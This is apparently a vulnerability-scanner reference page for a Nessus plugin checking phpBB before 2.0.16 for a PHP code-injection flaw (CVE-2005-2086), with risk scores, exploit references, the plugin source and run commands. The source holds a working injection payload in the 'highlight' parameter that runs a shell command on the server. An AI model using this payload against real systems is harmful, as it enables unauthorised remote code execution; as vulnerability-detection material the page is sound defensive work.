phpBB < 2.0.16 viewtopic.php Highlighting Feature Arbitrary PHP Code Execution - Nessus

High Plugin ID: 18589

This page contains detailed information about the phpBB < 2.0.16 viewtopic.php Highlighting Feature Arbitrary PHP Code Execution Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Table Of Contents

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Plugin Overview
Vulnerability Information

Synopsis
Description
Solution

Public Exploits
Risk Information
Plugin Source
How to Run
References
Version

Plugin Overview

ID: 18589
Name: phpBB < 2.0.16 viewtopic.php Highlighting Feature Arbitrary PHP Code Execution
Filename: phpbb_2_0_15.nasl
Vulnerability Published: 2005-06-28
This Plugin Published: 2005-06-29
Last Modification Time: 2022-04-11
Plugin Version: 1.28
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: phpbb_detect.nasl
Required KB Items [?]: www/phpBB
Excluded KB Items: Settings/disable_cgi_scanning

Vulnerability Information

Severity: High
Vulnerability Published: 2005-06-28
Patch Published: 2005-06-28
CVE [?]: CVE-2005-2086
CPE [?]: cpe:/a:phpbb_group:phpbb

Synopsis

The remote web server contains a PHP script that is affected by a code injection vulnerability.

Description

The remote host is running a version of phpBB that allows attackers to inject arbitrary PHP code to the 'viewtopic.php' script to be executed subject to the privileges of the web server userid.

Solution

Upgrade to phpBB version 2.0.16 or later.

Public Exploits

Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, Immunity Canvas, D2 Elliot)
Exploit Ease: No exploit is required

Here's the list of publicly known exploits and PoCs for verifying the phpBB < 2.0.16 viewtopic.php Highlighting Feature Arbitrary PHP Code Execution vulnerability:

Metasploit: exploit/unix/webapp/phpbb_highlight
[phpBB viewtopic.php Arbitrary Code Execution]
Exploit-DB: exploits/php/webapps/16890.rb
[EDB-16890: phpBB - 'viewtopic.php' Arbitrary Code Execution (Metasploit)]
D2 Elliot: phpbb_rce.html
[Phpbb RCE]
Immunity Canvas: CANVAS

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information

CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:F/RL:OF/RC:C

CVSS Base Score:	7.5 (High)
Impact Subscore:	6.4
Exploitability Subscore:	10.0
CVSS Temporal Score:	6.2 (Medium)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	6.2 (Medium)

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Plugin Source

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(18589);
  script_version("1.28");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2005-2086");
  script_bugtraq_id(14086);

  script_name(english:"phpBB < 2.0.16 viewtopic.php Highlighting Feature Arbitrary PHP Code Execution");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that is affected by a code
injection vulnerability.");
  script_set_attribute(attribute:"description", value:
"The remote host is running a version of phpBB that allows attackers to
inject arbitrary PHP code to the 'viewtopic.php' script to be executed
subject to the privileges of the web server userid.");
  script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/403631/30/0/threaded");
  script_set_attribute(attribute:"solution", value:
"Upgrade to phpBB version 2.0.16 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"false");
  script_set_attribute(attribute:"d2_elliot_name", value:"Phpbb RCE");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'phpBB viewtopic.php Arbitrary Code Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:"CANVAS");

  script_set_attribute(attribute:"vuln_publication_date", value:"2005/06/28");
  script_set_attribute(attribute:"patch_publication_date", value:"2005/06/28");
  script_set_attribute(attribute:"plugin_publication_date", value:"2005/06/29");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:phpbb_group:phpbb");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2005-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("phpbb_detect.nasl");
  script_require_keys("www/phpBB");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);

  exit(0);
}


include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("data_protection.inc");

port = get_http_port(default:80);
if (!can_host_php(port:port)) exit(0);


# Test an install.
install = get_kb_item(string("www/", port, "/phpBB"));
if (isnull(install)) exit(0);
matches = eregmatch(string:install, pattern:"^(.+) under (/.*)$");
if (!isnull(matches)) {
  ver = matches[1];
  dir = matches[2];

  # First we need a forum number.
  r = http_send_recv3(method:"GET", item:string(dir, "/index.php"), port:port);
  if (isnull(r)) exit(0);
  res = r[2];

  pat = '<a href="viewforum\\.php\\?f=([0-9]+)';
  matches = egrep(pattern:pat, string:res, icase:TRUE);
  if (matches) {
    foreach match (split(matches)) {
      match = chomp(match);
      forum = eregmatch(pattern:pat, string:match);
      if (!isnull(forum)) {
        forum = forum[1];
        break;
      }
    }
  }

  if (isnull(forum)) {
    debug_print("couldn't find a forum to use!", level:1);
  }
  else {
    # Next we need a topic number.
    r = http_send_recv3(method:"GET",
      item:string(
        dir, "/viewforum.php?",
        "f=", forum
      ), 
      port:port
    );
    if (isnull(r)) exit(0);
    res = r[2];

    pat = '<a href="viewtopic\\.php\\?t=([0-9]+)';
    matches = egrep(pattern:pat, string:res, icase:TRUE);
    if (matches) {
      foreach match (split(matches)) {
        match = chomp(match);
        topic = eregmatch(pattern:pat, string:match);
        if (!isnull(topic)) {
          topic = topic[1];
          break;
        }
      }
    }

    if (isnull(topic)) {
      debug_print("couldn't find a topic to use!", level:1);
    }
    else {
      # Finally, we can try to exploit the flaw.
      # exploit method comes from public exploit released by [email protected]
      u = string(dir, "/viewtopic.php?", "t=", topic, "&", "highlight='.system(getenv(HTTP_PHP)).'");
      r = http_send_recv3(method: "GET", version: 11, item: u, port: port,
      	add_headers: make_array("PHP", "id") );
      if (isnull(r)) exit(0);
      res = r[2];

      line = egrep(pattern:"uid=[0-9]+.*gid=[0-9]+.*", string:res);
      if (line)
      {
        report = string(
          "Nessus was able to execute the command 'id' on the remote host,\n",
          "which produced the following output :\n",
          "\n",
          data_protection::sanitize_uid(output:line)
        );
        security_hole(port:port, extra:report);
        exit(0);
      }
    }
  }
}

The latest version of this script can be found in these locations depending on your platform:

Linux / Unix:
/opt/nessus/lib/nessus/plugins/phpbb_2_0_15.nasl
Windows:
C:\ProgramData\Tenable\Nessus\nessus\plugins\phpbb_2_0_15.nasl
Mac OS X:
/Library/Nessus/run/lib/nessus/plugins/phpbb_2_0_15.nasl

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How to Run

Here is how to run the phpBB < 2.0.16 viewtopic.php Highlighting Feature Arbitrary PHP Code Execution as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

Click to start a New Scan.
Select Advanced Scan.
Navigate to the Plugins tab.
On the top right corner click to Disable All plugins.
On the left side table select CGI abuses plugin family.
On the right side table select phpBB < 2.0.16 viewtopic.php Highlighting Feature Arbitrary PHP Code Execution plugin ID 18589.
Specify the target on the Settings tab and click to Save the scan.
Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl phpbb_2_0_15.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a phpbb_2_0_15.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - phpbb_2_0_15.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state phpbb_2_0_15.nasl -t <IP/HOST>

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References

BID | SecurityFocus Bugtraq ID:

14086

See also:

Similar and related Nessus plugins:

18928 - FreeBSD : phpbb -- remote PHP code execution vulnerability (4afacca1-eb9d-11d9-a8bd-000cf18bbe54)
18607 - GLSA-200507-03 : phpBB: Arbitrary command execution
17225 - phpBB <= 2.0.12 Multiple Vulnerabilities
21323 - phpBB Multiple Module phpbb_root_path Parameter Remote File Inclusion
22021 - Mambo phpBB Component download.php phpbb_root_path Parameter Remote File Inclusion
15780 - phpBB viewtopic.php highlight Parameter SQL Injection (ESMARKCONANT)
16200 - phpBB < 2.0.11 Multiple Vulnerabilities (ESMARKCONANT)
21302 - phpBB Advanced GuestBook addentry.php phpbb_root_path Parameter Remote File Inclusion
19146 - FreeBSD : phpbb -- arbitrary command execution and other vulnerabilities (e3cf89f0-53da-11d9-92b7-ceadd4ac2edd)
15826 - GLSA-200411-32 : phpBB: Remote command execution
25421 - PNphpBB2 index.php c Parameter SQL Injection

Version

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file phpbb_2_0_15.nasl version 1.28. For more plugins, visit the Nessus Plugin Library.

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phpBB < 2.0.16 viewtopic.php Highlighting Feature Arbitrary PHP Code Execution - Nessus

Plugin Overview

Vulnerability Information

Synopsis

Description

Solution

Public Exploits

Risk Information

Plugin Source

How to Run

References

Version

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